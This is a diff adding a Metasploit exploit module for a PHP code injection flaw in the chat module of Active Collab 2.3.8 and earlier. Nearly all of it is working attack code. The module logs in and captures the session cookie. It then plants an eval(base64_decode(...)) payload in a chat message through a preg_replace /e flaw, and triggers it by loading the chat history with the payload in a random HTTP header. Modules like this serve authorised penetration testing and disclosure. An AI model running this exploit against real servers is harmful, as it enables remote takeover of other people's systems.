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+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => 'Active Collab "chat module" <= 2.3.8 Remote PHP Code Injection Exploit',
+			'Description'    => %q{
+				This module exploits an arbitrary code injection vulnerability in the chat module 
+				that is part of Active Collab by abusing a preg_replace() using the /e modifier and
+				its replacement string using double quotes. The vulnerable function can be found in 
+				activecollab/application/modules/chat/functions/html_to_text.php.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'mr_me <steventhomasseeley[at]gmail.com>',  # vuln discovery & msf module
+				],
+			'References'     =>
+				[
+					['URL', 'http://www.activecollab.com/downloads/category/4/package/62/releases'],
+				],
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'Keys'        => ['php'],
+					'Space'       => 4000,
+					'DisableNops' => true,
+				},
+			'Platform'       => ['php'],
+			'Arch'           => ARCH_PHP,
+			'Targets'        => [['Automatic',{}]],
+			'DisclosureDate' => 'May 30 2012',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptString.new('URI',[true, "The path to the ActiveCollab installation", "/"]),
+				OptString.new('USER',[true, "The username (e-mail) to authenticate with"]),
+				OptString.new('PASS',[true, "The password to authenticate with"])
+			],self.class)
+	end
+
+	def check
+
+		login_path = "public/index.php?path_info=login&re_route=homepage"
+		uri = datastore['URI']
+		uri += (datastore['URI'][-1, 1] == "/") ? login_path : "/#{login_path}"
+
+		cms = send_request_raw({'uri' => uri}, 25)
+
+		uri = datastore['URI']
+		uri += (datastore['URI'][-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'
+
+		chat = send_request_raw({'uri' => uri}, 25)
+
+		# cant detect the version here
+		if (cms and cms.body =~ /powered by activeCollab/)
+			# detect the chat module
+			if (chat and chat.code == 200)
+				return Exploit::CheckCode::Vulnerable
+			end
+		end
+		return Exploit::CheckCode::Safe
+	end
+
+	def exploit
+		user = datastore['USER']
+		pass = datastore['PASS']
+		p = Rex::Text.encode_base64(payload.encoded)
+		header = rand_text_alpha_upper(3)
+		login_uri = datastore['URI']
+		login_uri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login'
+
+		# login
+		res = send_request_cgi({
+			'method'    => 'POST',
+			'uri'       => login_uri,
+			'vars_post' =>
+				{
+					'login[email]'      => user,
+					'login[password]'   => pass,
+					'submitted'         => "submitted",
+				}
+			}, 40)
+
+		# response handling
+		if res.code == 302
+			if (res.headers['Set-Cookie'] =~ /ac_ActiveCollab_sid_eaM4h3LTIZ=(.*); expires=/)
+				acsession = $1
+			end
+		elsif res.body =~ /Failed to log you in/
+			print_error("Could not login to the target application, check your credentials")
+		elsif res.code != 200 or res.code != 302
+			print_error("Server returned a failed status code: (#{res.code})")
+		end
+
+		# injection
+		iuri = datastore['URI']
+		iuri += (datastore['URI'][-1, 1] == "/") ? 'index.php' : '/index.php'
+		iuri << "?path_info=chat/add_message&async=1" 
+		phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}"
+		injection = "<th>\");#{phpkode}</th>"
+		cookies = "ac_ActiveCollab_sid_eaM4h3LTIZ=#{acsession}"
+		res = send_request_cgi({
+			'method'  => 'POST',
+			'uri'     => iuri,
+			'headers' =>
+				{
+					'cookie'  => cookies
+				},
+			'vars_post' =>
+				{
+					'submitted'                  => "submitted",
+					'message[message_text]'      => injection,
+					'message[chat_id]'           => "1",
+					'message[posted_to_user_id]' => "all"
+				}
+		}, 25)
+
+		euri = datastore['URI']
+		euri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php' : '/public/index.php'
+		euri << "?path_info=/chat/history/1" 
+
+		# execution
+		res = send_request_cgi({
+			'method'  => 'POST',
+			'uri'     => euri,
+			'headers' =>
+				{
+					header    => p,
+					'cookie'  => cookies
+				}
+		})
+	end
+end